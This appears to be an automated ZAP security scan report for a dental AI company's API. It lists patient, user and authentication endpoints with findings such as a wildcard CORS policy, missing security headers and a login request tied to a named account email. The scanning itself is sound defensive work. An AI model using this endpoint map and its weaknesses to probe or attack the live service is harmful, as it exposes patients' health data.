URL	https://api.velmeni.ai/api/sikka/add_image
Method	POST
Attack	
Evidence	Access-Control-Allow-Origin: *
Other Info	The CORS misconfiguration on the web server permits cross-domain read requests from arbitrary third party domains, using unauthenticated APIs on this domain. Web browser implementations do not permit arbitrary third parties to read the response from authenticated APIs, however. This reduces the risk somewhat. This misconfiguration could be used by an attacker to access data that is available in an unauthenticated manner, but which uses some other form of security, such as IP address white-listing.
URL	https://api.velmeni.ai/api/sikka/appointment
Method	POST
Attack	
Evidence	Access-Control-Allow-Origin: *

Other Info	The CORS misconfiguration on the web server permits cross-domain read requests from arbitrary third party domains, using unauthenticated APIs on this domain. Web browser implementations do not permit arbitrary third parties to read the response from authenticated APIs, however. This reduces the risk somewhat. This misconfiguration could be used by an attacker to access data that is available in an unauthenticated manner, but which uses some other form of security, such as IP address white-listing.
URL	https://api.velmeni.ai/api/sikka/create_patient_webhook
Method	POST
Attack	
Evidence	Access-Control-Allow-Origin: *
Other Info	The CORS misconfiguration on the web server permits cross-domain read requests from arbitrary third party domains, using unauthenticated APIs on this domain. Web browser implementations do not permit arbitrary third parties to read the response from authenticated APIs, however. This reduces the risk somewhat. This misconfiguration could be used by an attacker to access data that is available in an unauthenticated manner, but which uses some other form of security, such as IP address white-listing.
URL	https://api.velmeni.ai/api/sikka/import/7?source_system=VELMENI_FOR_DENTIST
Method	POST
Attack	
Evidence	Access-Control-Allow-Origin: *
Other Info	The CORS misconfiguration on the web server permits cross-domain read requests from arbitrary third party domains, using unauthenticated APIs on this domain. Web browser implementations do not permit arbitrary third parties to read the response from authenticated APIs, however. This reduces the risk somewhat. This misconfiguration could be used by an attacker to access data that is available in an unauthenticated manner, but which uses some other form of security, such as IP address white-listing.
URL	https://api.velmeni.ai/api/sikka/import_practice_data/3?practice_ids=3&source_system=VELMENI_FOR_DENTIST
Method	POST
Attack	
Evidence	Access-Control-Allow-Origin: *
Other Info	The CORS misconfiguration on the web server permits cross-domain read requests from arbitrary third party domains, using unauthenticated APIs on this domain. Web browser implementations do not permit arbitrary third parties to read the response from authenticated APIs, however. This reduces the risk somewhat. This misconfiguration could be used by an attacker to access data that is available in an unauthenticated manner, but which uses some other form of security, such as IP address white-listing.
URL	https://api.velmeni.ai/api/sikka/import_procedure_category?source_system=VELMENI_FOR_DENTIST
Method	POST
Attack	
Evidence	Access-Control-Allow-Origin: *
Other Info	The CORS misconfiguration on the web server permits cross-domain read requests from arbitrary third party domains, using unauthenticated APIs on this domain. Web browser implementations do not permit arbitrary third parties to read the response from authenticated APIs, however. This reduces the risk somewhat. This misconfiguration could be used by an attacker to access data that is available in an unauthenticated manner, but which uses some other form of security, such as IP address white-listing.
URL	https://api.velmeni.ai/api/user/add
Method	POST
Attack	
Evidence	Access-Control-Allow-Origin: *

Other Info	The CORS misconfiguration on the web server permits cross-domain read requests from arbitrary third party domains, using unauthenticated APIs on this domain. Web browser implementations do not permit arbitrary third parties to read the response from authenticated APIs, however. This reduces the risk somewhat. This misconfiguration could be used by an attacker to access data that is available in an unauthenticated manner, but which uses some other form of security, such as IP address white-listing.
URL	https://api.velmeni.ai/api/user/change_password
Method	POST
Attack	
Evidence	Access-Control-Allow-Origin: *
Other Info	The CORS misconfiguration on the web server permits cross-domain read requests from arbitrary third party domains, using unauthenticated APIs on this domain. Web browser implementations do not permit arbitrary third parties to read the response from authenticated APIs, however. This reduces the risk somewhat. This misconfiguration could be used by an attacker to access data that is available in an unauthenticated manner, but which uses some other form of security, such as IP address white-listing.
URL	https://api.velmeni.ai/api/user/complete_forgot_password
Method	POST
Attack	
Evidence	Access-Control-Allow-Origin: *
Other Info	The CORS misconfiguration on the web server permits cross-domain read requests from arbitrary third party domains, using unauthenticated APIs on this domain. Web browser implementations do not permit arbitrary third parties to read the response from authenticated APIs, however. This reduces the risk somewhat. This misconfiguration could be used by an attacker to access data that is available in an unauthenticated manner, but which uses some other form of security, such as IP address white-listing.
URL	https://api.velmeni.ai/api/user/enable_user
Method	POST
Attack	
Evidence	Access-Control-Allow-Origin: *
Other Info	The CORS misconfiguration on the web server permits cross-domain read requests from arbitrary third party domains, using unauthenticated APIs on this domain. Web browser implementations do not permit arbitrary third parties to read the response from authenticated APIs, however. This reduces the risk somewhat. This misconfiguration could be used by an attacker to access data that is available in an unauthenticated manner, but which uses some other form of security, such as IP address white-listing.
URL	https://api.velmeni.ai/api/user/initiate_forgot_password
Method	POST
Attack	
Evidence	Access-Control-Allow-Origin: *
Other Info	The CORS misconfiguration on the web server permits cross-domain read requests from arbitrary third party domains, using unauthenticated APIs on this domain. Web browser implementations do not permit arbitrary third parties to read the response from authenticated APIs, however. This reduces the risk somewhat. This misconfiguration could be used by an attacker to access data that is available in an unauthenticated manner, but which uses some other form of security, such as IP address white-listing.
URL	https://api.velmeni.ai/api/user/send_invite
Method	POST
Attack	
Evidence	Access-Control-Allow-Origin: *
	The CORS misconfiguration on the web server permits cross-domain read requests from arbitrary third party domains, using unauthenticated APIs on this domain. Web browser

Other Info	implementations do not permit arbitrary third parties to read the response from authenticated APIs, however. This reduces the risk somewhat. This misconfiguration could be used by an attacker to access data that is available in an unauthenticated manner, but which uses some other form of security, such as IP address white-listing.
URL	https://api.velmeni.ai/api/user/send_reminder
Method	POST
Attack	
Evidence	Access-Control-Allow-Origin: *
Other Info	The CORS misconfiguration on the web server permits cross-domain read requests from arbitrary third party domains, using unauthenticated APIs on this domain. Web browser implementations do not permit arbitrary third parties to read the response from authenticated APIs, however. This reduces the risk somewhat. This misconfiguration could be used by an attacker to access data that is available in an unauthenticated manner, but which uses some other form of security, such as IP address white-listing.
URL	https://api.velmeni.ai/api/user/update_preferred_numbering_system
Method	POST
Attack	
Evidence	Access-Control-Allow-Origin: *
Other Info	The CORS misconfiguration on the web server permits cross-domain read requests from arbitrary third party domains, using unauthenticated APIs on this domain. Web browser implementations do not permit arbitrary third parties to read the response from authenticated APIs, however. This reduces the risk somewhat. This misconfiguration could be used by an attacker to access data that is available in an unauthenticated manner, but which uses some other form of security, such as IP address white-listing.
URL	https://api.velmeni.ai/api/user/validate_email
Method	POST
Attack	
Evidence	Access-Control-Allow-Origin: *
Other Info	The CORS misconfiguration on the web server permits cross-domain read requests from arbitrary third party domains, using unauthenticated APIs on this domain. Web browser implementations do not permit arbitrary third parties to read the response from authenticated APIs, however. This reduces the risk somewhat. This misconfiguration could be used by an attacker to access data that is available in an unauthenticated manner, but which uses some other form of security, such as IP address white-listing.
URL	https://api.velmeni.ai/api/velmeni_bridge/add_image
Method	POST
Attack	
Evidence	Access-Control-Allow-Origin: *
Other Info	The CORS misconfiguration on the web server permits cross-domain read requests from arbitrary third party domains, using unauthenticated APIs on this domain. Web browser implementations do not permit arbitrary third parties to read the response from authenticated APIs, however. This reduces the risk somewhat. This misconfiguration could be used by an attacker to access data that is available in an unauthenticated manner, but which uses some other form of security, such as IP address white-listing.
URL	https://api.velmeni.ai/api/organizations/practice/update/1659
Method	PUT
Attack	
Evidence	Access-Control-Allow-Origin: *
Other Info	The CORS misconfiguration on the web server permits cross-domain read requests from arbitrary third party domains, using unauthenticated APIs on this domain. Web browser implementations do not permit arbitrary third parties to read the response from authenticated APIs, however. This reduces the risk somewhat. This misconfiguration could

	be used by an attacker to access data that is available in an unauthenticated manner, but which uses some other form of security, such as IP address white-listing.
URL	https://api.velmeni.ai/api/organizations/update/27
Method	PUT
Attack	
Evidence	Access-Control-Allow-Origin: *
Other Info	The CORS misconfiguration on the web server permits cross-domain read requests from arbitrary third party domains, using unauthenticated APIs on this domain. Web browser implementations do not permit arbitrary third parties to read the response from authenticated APIs, however. This reduces the risk somewhat. This misconfiguration could be used by an attacker to access data that is available in an unauthenticated manner, but which uses some other form of security, such as IP address white-listing.
URL	https://api.velmeni.ai/api/patient/update
Method	PUT
Attack	
Evidence	Access-Control-Allow-Origin: *
Other Info	The CORS misconfiguration on the web server permits cross-domain read requests from arbitrary third party domains, using unauthenticated APIs on this domain. Web browser implementations do not permit arbitrary third parties to read the response from authenticated APIs, however. This reduces the risk somewhat. This misconfiguration could be used by an attacker to access data that is available in an unauthenticated manner, but which uses some other form of security, such as IP address white-listing.
URL	https://api.velmeni.ai/api/user/update/1
Method	PUT
Attack	
Evidence	Access-Control-Allow-Origin: *
Other Info	The CORS misconfiguration on the web server permits cross-domain read requests from arbitrary third party domains, using unauthenticated APIs on this domain. Web browser implementations do not permit arbitrary third parties to read the response from authenticated APIs, however. This reduces the risk somewhat. This misconfiguration could be used by an attacker to access data that is available in an unauthenticated manner, but which uses some other form of security, such as IP address white-listing.
Instances	75
Solution	<p>Ensure that sensitive data is not available in an unauthenticated manner (using IP address white-listing, for instance).</p> <p>Configure the "Access-Control-Allow-Origin" HTTP header to a more restrictive set of domains, or remove all CORS headers entirely, to allow the web browser to enforce the Same Origin Policy (SOP) in a more restrictive manner.</p>
Reference	https://vulncat.fortify.com/en/detail?id=desc.config.dotnet.html5_overly_permissive_cors_policy
CWE Id	264
WASC Id	14
Plugin Id	10098

Low	Strict-Transport-Security Header Not Set
Description	HTTP Strict Transport Security (HSTS) is a web security policy mechanism whereby a web server declares that complying user agents (such as a web browser) are to interact with it using only secure HTTPS connections (i.e. HTTP layered over TLS/SSL). HSTS is an IETF standards track protocol and is specified in RFC 6797.
URL	https://api.velmeni.ai/api/organizations/delete/26?source_system=VELMENI_FOR_DENTIST
Method	DELETE

Attack
Evidence
Other
Info

URL [https://api.velmeni.ai/api/organizations/practice/delete/1659?
source_system=VELMENI_FOR_DENTIST](https://api.velmeni.ai/api/organizations/practice/delete/1659?source_system=VELMENI_FOR_DENTIST)

Method DELETE

Attack
Evidence
Other
Info

URL https://api.velmeni.ai/api/patient/delete/145139?source_system=VELMENI_FOR_DENTIST

Method DELETE

Attack
Evidence
Other
Info

URL https://api.velmeni.ai/api/user/delete/1919?source_system=VELMENI_FOR_DENTIST

Method DELETE

Attack
Evidence
Other
Info

URL [https://api.velmeni.ai/api/analytics/compare_json/22?
source_system=VELMENI_FOR_DENTIST](https://api.velmeni.ai/api/analytics/compare_json/22?source_system=VELMENI_FOR_DENTIST)

Method GET

Attack
Evidence
Other
Info

URL [https://api.velmeni.ai/api/analytics/doctor_stats?
organization_id=7&source_system=VELMENI_FOR_DENTIST](https://api.velmeni.ai/api/analytics/doctor_stats?organization_id=7&source_system=VELMENI_FOR_DENTIST)

Method GET

Attack
Evidence
Other
Info

URL [https://api.velmeni.ai/api/analytics/generate_visit_report?
visit_id=115535&report_type=pdf&source_system=VELMENI FOR DENTIST](https://api.velmeni.ai/api/analytics/generate_visit_report?visit_id=115535&report_type=pdf&source_system=VELMENI_FOR_DENTIST)

Method GET

Attack
Evidence
Other
Info

URL https://api.velmeni.ai/api/analytics/tooth_analysis/1

Method GET

Attack
Evidence
Other
Info

URL https://api.velmeni.ai/api/auth/list_scopes?source_system=VELMENI_FOR_DENTIST

Method GET

Attack
Evidence
Other
Info

URL https://api.velmeni.ai/api/dental_robot/get_patient/D12345_1_100

Method GET

Attack
Evidence
Other
Info

URL https://api.velmeni.ai/api/hierarchy?source_system=VELMENI_FOR_DENTIST

Method GET

Attack
Evidence
Other
Info

URL [https://api.velmeni.ai/api/organizations/53/practice?
source_system=VELMENI_FOR_DENTIST](https://api.velmeni.ai/api/organizations/53/practice?source_system=VELMENI_FOR_DENTIST)

Method GET

Attack
Evidence
Other
Info

URL https://api.velmeni.ai/api/organizations/get/26?source_system=VELMENI_FOR_DENTIST

Method GET

Attack
Evidence
Other
Info

URL https://api.velmeni.ai/api/organizations/get_organization_logo_urls/1

Method GET

Attack
Evidence
Other
Info

URL [https://api.velmeni.ai/api/organizations/get_practice_logo_urls/1453?
source_system=VELMENI_FOR_DENTIST](https://api.velmeni.ai/api/organizations/get_practice_logo_urls/1453?source_system=VELMENI_FOR_DENTIST)

Method GET

Attack
Evidence

Other
Info

URL https://api.velmeni.ai/api/organizations/list?source_system=VELMENI_FOR_DENTIST

Method GET

Attack

Evidence

Other
Info

URL https://api.velmeni.ai/api/organizations/practice/get/1273?source_system=VELMENI_FOR_DENTIST

Method GET

Attack

Evidence

Other
Info

URL https://api.velmeni.ai/api/patient/56526/history/?source_system=VELMENI_FOR_DENTIST

Method GET

Attack

Evidence

Other
Info

URL https://api.velmeni.ai/api/patient/get/145139?source_system=VELMENI_FOR_DENTIST

Method GET

Attack

Evidence

Other
Info

URL https://api.velmeni.ai/api/patient/list/1656?source_system=VELMENI_FOR_DENTIST

Method GET

Attack

Evidence

Other
Info

URL https://api.velmeni.ai/api/patient/list_image_by_patient/137120?source_system=VELMENI_FOR_DENTIST

Method GET

Attack

Evidence

Other
Info

URL https://api.velmeni.ai/api/patient/list_image_by_visit_id/107073?source_system=VELMENI_FOR_DENTIST

Method GET

Attack
Evidence
Other
Info

URL https://api.velmeni.ai/api/patient/list_images/3

Method GET

Attack
Evidence
Other
Info

URL [https://api.velmeni.ai/api/patient/list_patients/1170?
source_system=VELMENI_FOR_DENTIST](https://api.velmeni.ai/api/patient/list_patients/1170?source_system=VELMENI_FOR_DENTIST)

Method GET

Attack
Evidence
Other
Info

URL https://api.velmeni.ai/api/patient/pathology/list?source_system=VELMENI_FOR_DENTIST

Method GET

Attack
Evidence
Other
Info

URL https://api.velmeni.ai/api/patient/scan/12931?source_system=VELMENI_FOR_DENTIST

Method GET

Attack
Evidence
Other
Info

URL [https://api.velmeni.ai/api/patient/search/399?
name=pu&source_system=VELMENI_FOR_DENTIST](https://api.velmeni.ai/api/patient/search/399?name=pu&source_system=VELMENI_FOR_DENTIST)

Method GET

Attack
Evidence
Other
Info

URL https://api.velmeni.ai/api/user/get/1919?source_system=VELMENI_FOR_DENTIST

Method GET

Attack
Evidence
Other
Info

URL [https://api.velmeni.ai/api/user/get_preferred_numbering_system?
source_system=VELMENI_FOR_DENTIST](https://api.velmeni.ai/api/user/get_preferred_numbering_system?source_system=VELMENI_FOR_DENTIST)

Method GET

Attack
Evidence

Other
Info

URL https://api.velmeni.ai/api/user/list/1170?source_system=VELMENI_FOR_DENTIST

Method GET

Attack

Evidence

Other
Info

URL https://api.velmeni.ai/api/user/list?source_system=VELMENI_FOR_DENTIST

Method GET

Attack

Evidence

Other
Info

URL https://api.velmeni.ai/api/user/list_roles?source_system=VELMENI_FOR_DENTIST

Method GET

Attack

Evidence

Other
Info

URL https://api.velmeni.ai/api/admin/delete_organization/27

Method POST

Attack

Evidence

Other
Info

URL https://api.velmeni.ai/api/admin/delete_practice/21

Method POST

Attack

Evidence

Other
Info

URL https://api.velmeni.ai/api/analytics/add_medical_note

Method POST

Attack

Evidence

Other
Info

URL https://api.velmeni.ai/api/analytics/get_comparison_report

Method POST

Attack

Evidence

Other
Info

URL https://api.velmeni.ai/api/analytics/list_analysis_job/3

Method POST

Attack

Evidence

Other
Info

URL https://api.velmeni.ai/api/analytics/logged_in_users

Method POST

Attack

Evidence

Other
Info

URL <https://api.velmeni.ai/api/auth>

Method POST

Attack

Evidence

Other
Info

URL https://api.velmeni.ai/api/dental_robot/add_image

Method POST

Attack

Evidence

Other
Info

URL https://api.velmeni.ai/api/dental_robot/create_patients

Method POST

Attack

Evidence

Other
Info

URL https://api.velmeni.ai/api/dental_robot/create_users

Method POST

Attack

Evidence

Other
Info

URL <https://api.velmeni.ai/api/migration/migrate>

Method POST

Attack

Evidence

Other
Info

URL	https://api.velmeni.ai/api/organizations/add
Method	POST
Attack	
Evidence	
Other Info	
URL	https://api.velmeni.ai/api/organizations/practice/add
Method	POST
Attack	
Evidence	
Other Info	
URL	https://api.velmeni.ai/api/organizations/save_features
Method	POST
Attack	
Evidence	
Other Info	
URL	https://api.velmeni.ai/api/patient/create
Method	POST
Attack	
Evidence	
Other Info	
URL	https://api.velmeni.ai/api/patient/get_s3_auth_urls?source_system=VELMENI_FOR_DENTIST
Method	POST
Attack	
Evidence	
Other Info	
URL	https://api.velmeni.ai/api/patient/list_by_appointment/1173
Method	POST
Attack	
Evidence	
Other Info	
URL	https://api.velmeni.ai/api/patient/scan/add?source_system=VELMENI_FOR_DENTIST
Method	POST
Attack	
Evidence	
Other Info	
URL	https://api.velmeni.ai/api/patient/scan/analyze/2202

Method	POST
Attack	
Evidence	
Other Info	
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	
Evidence	
Other Info	
URL	https://api.velmeni.ai/api/patient/scan/skip
Method	POST
Attack	
Evidence	
Other Info	
URL	https://api.velmeni.ai/api/patient/scan/update_slot
Method	POST
Attack	
Evidence	
Other Info	
URL	https://api.velmeni.ai/api/role/create_role
Method	POST
Attack	
Evidence	
Other Info	
URL	https://api.velmeni.ai/api/sikka/add_image
Method	POST
Attack	
Evidence	
Other Info	
URL	https://api.velmeni.ai/api/sikka/appointment
Method	POST
Attack	
Evidence	
Other Info	
URL	https://api.velmeni.ai/api/sikka/create_patient_webhook
Method	POST
Attack	

Evidence

Other
Info

URL https://api.velmeni.ai/api/sikka/import/7?source_system=VELMENI_FOR_DENTIST

Method POST

Attack

Evidence

Other
Info

URL https://api.velmeni.ai/api/sikka/import_practice_data/3?practice_ids=3&source_system=VELMENI_FOR_DENTIST

Method POST

Attack

Evidence

Other
Info

URL https://api.velmeni.ai/api/sikka/import_procedure_category?source_system=VELMENI_FOR_DENTIST

Method POST

Attack

Evidence

Other
Info

URL <https://api.velmeni.ai/api/user/add>

Method POST

Attack

Evidence

Other
Info

URL https://api.velmeni.ai/api/user/change_password

Method POST

Attack

Evidence

Other
Info

URL https://api.velmeni.ai/api/user/complete_forgot_password

Method POST

Attack

Evidence

Other
Info

URL https://api.velmeni.ai/api/user/enable_user

Method POST

Attack

Evidence

Other Info	
URL	https://api.velmeni.ai/api/user/initiate_forgot_password
Method	POST
Attack	
Evidence	
Other Info	
URL	https://api.velmeni.ai/api/user/send_invite
Method	POST
Attack	
Evidence	
Other Info	
URL	https://api.velmeni.ai/api/user/send_reminder
Method	POST
Attack	
Evidence	
Other Info	
URL	https://api.velmeni.ai/api/user/update_preferred_numbering_system
Method	POST
Attack	
Evidence	
Other Info	
URL	https://api.velmeni.ai/api/user/validate_email
Method	POST
Attack	
Evidence	
Other Info	
URL	https://api.velmeni.ai/api/velmeni_bridge/add_image
Method	POST
Attack	
Evidence	
Other Info	
URL	https://api.velmeni.ai/api/organizations/practice/update/1659
Method	PUT
Attack	
Evidence	
Other	

URL	https://api.velmeni.ai/api/organizations/update/27
Method	PUT
Attack	
Evidence	
Other Info	
URL	https://api.velmeni.ai/api/patient/update
Method	PUT
Attack	
Evidence	
Other Info	
URL	https://api.velmeni.ai/api/user/update/1
Method	PUT
Attack	
Evidence	
Other Info	
Instances	75
Solution	Ensure that your web server, application server, load balancer, etc. is configured to enforce Strict-Transport-Security.
Reference	https://cheatsheetseries.owasp.org/cheatsheets/HTTP_Strict_Transport_Security_Cheat_Sheet.html https://owasp.org/www-community/Security-Headers http://en.wikipedia.org/wiki/HTTP_Strict_Transport_Security http://caniuse.com/stricttransportsecurity http://tools.ietf.org/html/rfc6797
CWE Id	319
WASC Id	15
Plugin Id	10035

Low	X-Content-Type-Options Header Missing
Description	The Anti-MIME-Sniffing header X-Content-Type-Options was not set to 'nosniff'. This allows older versions of Internet Explorer and Chrome to perform MIME-sniffing on the response body, potentially causing the response body to be interpreted and displayed as a content type other than the declared content type. Current (early 2014) and legacy versions of Firefox will use the declared content type (if one is set), rather than performing MIME-sniffing.
URL	https://api.velmeni.ai/api/dental_robot/get_patient/D12345_1_100
Method	GET
Attack	
Evidence	
Other Info	This issue still applies to error type pages (401, 403, 500, etc.) as those pages are often still affected by injection issues, in which case there is still concern for browsers sniffing pages away from their actual content type. At "High" threshold this scan rule will not alert on client or server error responses.
URL	https://api.velmeni.ai/api/analytics/get_comparison_report
Method	POST

Attack

Evidence

Other
Info

This issue still applies to error type pages (401, 403, 500, etc.) as those pages are often still affected by injection issues, in which case there is still concern for browsers sniffing pages away from their actual content type. At "High" threshold this scan rule will not alert on client or server error responses.

URL

<https://api.velmeni.ai/api/auth>

Method

POST

Attack

Evidence

Other
Info

This issue still applies to error type pages (401, 403, 500, etc.) as those pages are often still affected by injection issues, in which case there is still concern for browsers sniffing pages away from their actual content type. At "High" threshold this scan rule will not alert on client or server error responses.

URL

https://api.velmeni.ai/api/dental_robot/add_image

Method

POST

Attack

Evidence

Other
Info

This issue still applies to error type pages (401, 403, 500, etc.) as those pages are often still affected by injection issues, in which case there is still concern for browsers sniffing pages away from their actual content type. At "High" threshold this scan rule will not alert on client or server error responses.

URL

https://api.velmeni.ai/api/dental_robot/create_patients

Method

POST

Attack

Evidence

Other
Info

This issue still applies to error type pages (401, 403, 500, etc.) as those pages are often still affected by injection issues, in which case there is still concern for browsers sniffing pages away from their actual content type. At "High" threshold this scan rule will not alert on client or server error responses.

URL

https://api.velmeni.ai/api/dental_robot/create_users

Method

POST

Attack

Evidence

Other
Info

This issue still applies to error type pages (401, 403, 500, etc.) as those pages are often still affected by injection issues, in which case there is still concern for browsers sniffing pages away from their actual content type. At "High" threshold this scan rule will not alert on client or server error responses.

URL

https://api.velmeni.ai/api/sikka/add_image

Method

POST

Attack

Evidence

Other
Info

This issue still applies to error type pages (401, 403, 500, etc.) as those pages are often still affected by injection issues, in which case there is still concern for browsers sniffing pages away from their actual content type. At "High" threshold this scan rule will not alert on client or server error responses.

URL

https://api.velmeni.ai/api/sikka/create_patient_webhook

Method

POST

Attack

Evidence	
Other Info	This issue still applies to error type pages (401, 403, 500, etc.) as those pages are often still affected by injection issues, in which case there is still concern for browsers sniffing pages away from their actual content type. At "High" threshold this scan rule will not alert on client or server error responses.
URL	https://api.velmeni.ai/api/user/complete_forgot_password
Method	POST
Attack	
Evidence	
Other Info	This issue still applies to error type pages (401, 403, 500, etc.) as those pages are often still affected by injection issues, in which case there is still concern for browsers sniffing pages away from their actual content type. At "High" threshold this scan rule will not alert on client or server error responses.
URL	https://api.velmeni.ai/api/user/initiate_forgot_password
Method	POST
Attack	
Evidence	
Other Info	This issue still applies to error type pages (401, 403, 500, etc.) as those pages are often still affected by injection issues, in which case there is still concern for browsers sniffing pages away from their actual content type. At "High" threshold this scan rule will not alert on client or server error responses.
URL	https://api.velmeni.ai/api/velmeni_bridge/add_image
Method	POST
Attack	
Evidence	
Other Info	This issue still applies to error type pages (401, 403, 500, etc.) as those pages are often still affected by injection issues, in which case there is still concern for browsers sniffing pages away from their actual content type. At "High" threshold this scan rule will not alert on client or server error responses.
Instances	11
Solution	<p>Ensure that the application/web server sets the Content-Type header appropriately, and that it sets the X-Content-Type-Options header to 'nosniff' for all web pages.</p> <p>If possible, ensure that the end user uses a standards-compliant and modern web browser that does not perform MIME-sniffing at all, or that can be directed by the web application /web server to not perform MIME-sniffing.</p>
Reference	http://msdn.microsoft.com/en-us/library/ie/gg622941%28v=vs.85%29.aspx
CWE Id	https://owasp.org/www-community/Security-Headers
WASC Id	693
	15
Plugin Id	10021

Informational	Authentication Request Identified
Description	The given request has been identified as an authentication request. The 'Other Info' field contains a set of key=value lines which identify any relevant fields. If the request is in a context which has an Authentication Method set to "Auto-Detect" then this rule will change the authentication to match the request identified.
URL	https://api.velmeni.ai/api/auth
Method	POST
Attack	

Evidence	password
Other Info	userParam=email userValue=sachin@velmeni.com passwordParam=password
Instances	1
Solution	This is an informational alert rather than a vulnerability and so there is nothing to fix.
Reference	https://www.zaproxy.org/docs/desktop/addons/authentication-helper/auth-req-id/
CWE Id	
WASC Id	
Plugin Id	10111

Informational	Re-examine Cache-control Directives
Description	The cache-control header has not been set properly or is missing, allowing the browser and proxies to cache content. For static assets like css, js, or image files this might be intended, however, the resources should be reviewed to ensure that no sensitive content will be cached.
URL	https://api.velmeni.ai/api/dental_robot/get_patient/D12345_1_100
Method	GET
Attack	
Evidence	
Other Info	
URL	https://api.velmeni.ai/api/analytics/get_comparison_report
Method	POST
Attack	
Evidence	
Other Info	
URL	https://api.velmeni.ai/api/auth
Method	POST
Attack	
Evidence	
Other Info	
URL	https://api.velmeni.ai/api/dental_robot/add_image
Method	POST
Attack	
Evidence	
Other Info	
URL	https://api.velmeni.ai/api/dental_robot/create_patients
Method	POST
Attack	
Evidence	
Other Info	

URL	https://api.velmeni.ai/api/dental_robot/create_users
Method	POST
Attack	
Evidence	
Other Info	
URL	https://api.velmeni.ai/api/sikka/add_image
Method	POST
Attack	
Evidence	
Other Info	
URL	https://api.velmeni.ai/api/sikka/create_patient_webhook
Method	POST
Attack	
Evidence	
Other Info	
URL	https://api.velmeni.ai/api/user/complete_forgot_password
Method	POST
Attack	
Evidence	
Other Info	
URL	https://api.velmeni.ai/api/user/initiate_forgot_password
Method	POST
Attack	
Evidence	
Other Info	
URL	https://api.velmeni.ai/api/velmeni_bridge/add_image
Method	POST
Attack	
Evidence	
Other Info	
Instances	11
Solution	For secure content, ensure the cache-control HTTP header is set with "no-cache, no-store, must-revalidate". If an asset should be cached consider setting the directives "public, max-age, immutable".
Reference	https://cheatsheetseries.owasp.org/cheatsheets/Session_Management_Cheat_Sheet.html#web-content-caching https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Cache-Control https://grayduck.mn/2021/09/13/cache-control-recommendations/
CWE Id	525
WASC Id	13

Plugin Id	10015
Informational	User Agent Fuzzer
Description	Check for differences in response based on fuzzed User Agent (eg. mobile sites, access as a Search Engine Crawler). Compares the response statuscode and the hashcode of the response body with the original response.
URL	https://api.velmeni.ai/api/auth
Method	POST
Attack	Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Evidence	
Other Info	
URL	https://api.velmeni.ai/api/auth
Method	POST
Attack	Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
Evidence	
Other Info	
URL	https://api.velmeni.ai/api/auth
Method	POST
Attack	Mozilla/5.0 (Windows NT 10.0; Trident/7.0; rv:11.0) like Gecko
Evidence	
Other Info	
URL	https://api.velmeni.ai/api/auth
Method	POST
Attack	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3739.0 Safari/537.36 Edg/75.0.109.0
Evidence	
Other Info	
URL	https://api.velmeni.ai/api/auth
Method	POST
Attack	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36
Evidence	
Other Info	
URL	https://api.velmeni.ai/api/auth
Method	POST
Attack	Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/91.0
Evidence	
Other Info	
URL	https://api.velmeni.ai/api/auth

Method	POST
Attack	Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
Evidence	
Other Info	
URL	https://api.velmeni.ai/api/auth
Method	POST
Attack	Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)
Evidence	
Other Info	
URL	https://api.velmeni.ai/api/auth
Method	POST
Attack	Mozilla/5.0 (iPhone; CPU iPhone OS 8_0_2 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12A366 Safari/600.1.4
Evidence	
Other Info	
URL	https://api.velmeni.ai/api/auth
Method	POST
Attack	Mozilla/5.0 (iPhone; U; CPU iPhone OS 3_0 like Mac OS X; en-us) AppleWebKit/528.18 (KHTML, like Gecko) Version/4.0 Mobile/7A341 Safari/528.16
Evidence	
Other Info	
URL	https://api.velmeni.ai/api/auth
Method	POST
Attack	msnbot/1.1 (+http://search.msn.com/msnbot.htm)
Evidence	
Other Info	
URL	https://api.velmeni.ai/api/dental_robot/add_image
Method	POST
Attack	Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Evidence	
Other Info	
URL	https://api.velmeni.ai/api/dental_robot/add_image
Method	POST
Attack	Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Evidence	
Other Info	
URL	https://api.velmeni.ai/api/dental_robot/add_image
Method	POST

Attack	Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
Evidence	
Other Info	
URL	https://api.velmeni.ai/api/dental_robot/add_image
Method	POST
Attack	Mozilla/5.0 (Windows NT 10.0; Trident/7.0; rv:11.0) like Gecko
Evidence	
Other Info	
URL	https://api.velmeni.ai/api/dental_robot/add_image
Method	POST
Attack	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3739.0 Safari/537.36 Edg/75.0.109.0
Evidence	
Other Info	
URL	https://api.velmeni.ai/api/dental_robot/add_image
Method	POST
Attack	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36
Evidence	
Other Info	
URL	https://api.velmeni.ai/api/dental_robot/add_image
Method	POST
Attack	Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/91.0
Evidence	
Other Info	
URL	https://api.velmeni.ai/api/dental_robot/add_image
Method	POST
Attack	Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
Evidence	
Other Info	
URL	https://api.velmeni.ai/api/dental_robot/add_image
Method	POST
Attack	Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)
Evidence	
Other Info	
URL	https://api.velmeni.ai/api/dental_robot/add_image
Method	POST

Attack	Mozilla/5.0 (iPhone; CPU iPhone OS 8_0_2 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12A366 Safari/600.1.4
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Evidence	
Other Info	
URL	https://api.velmeni.ai/api/dental_robot/add_image
Method	POST
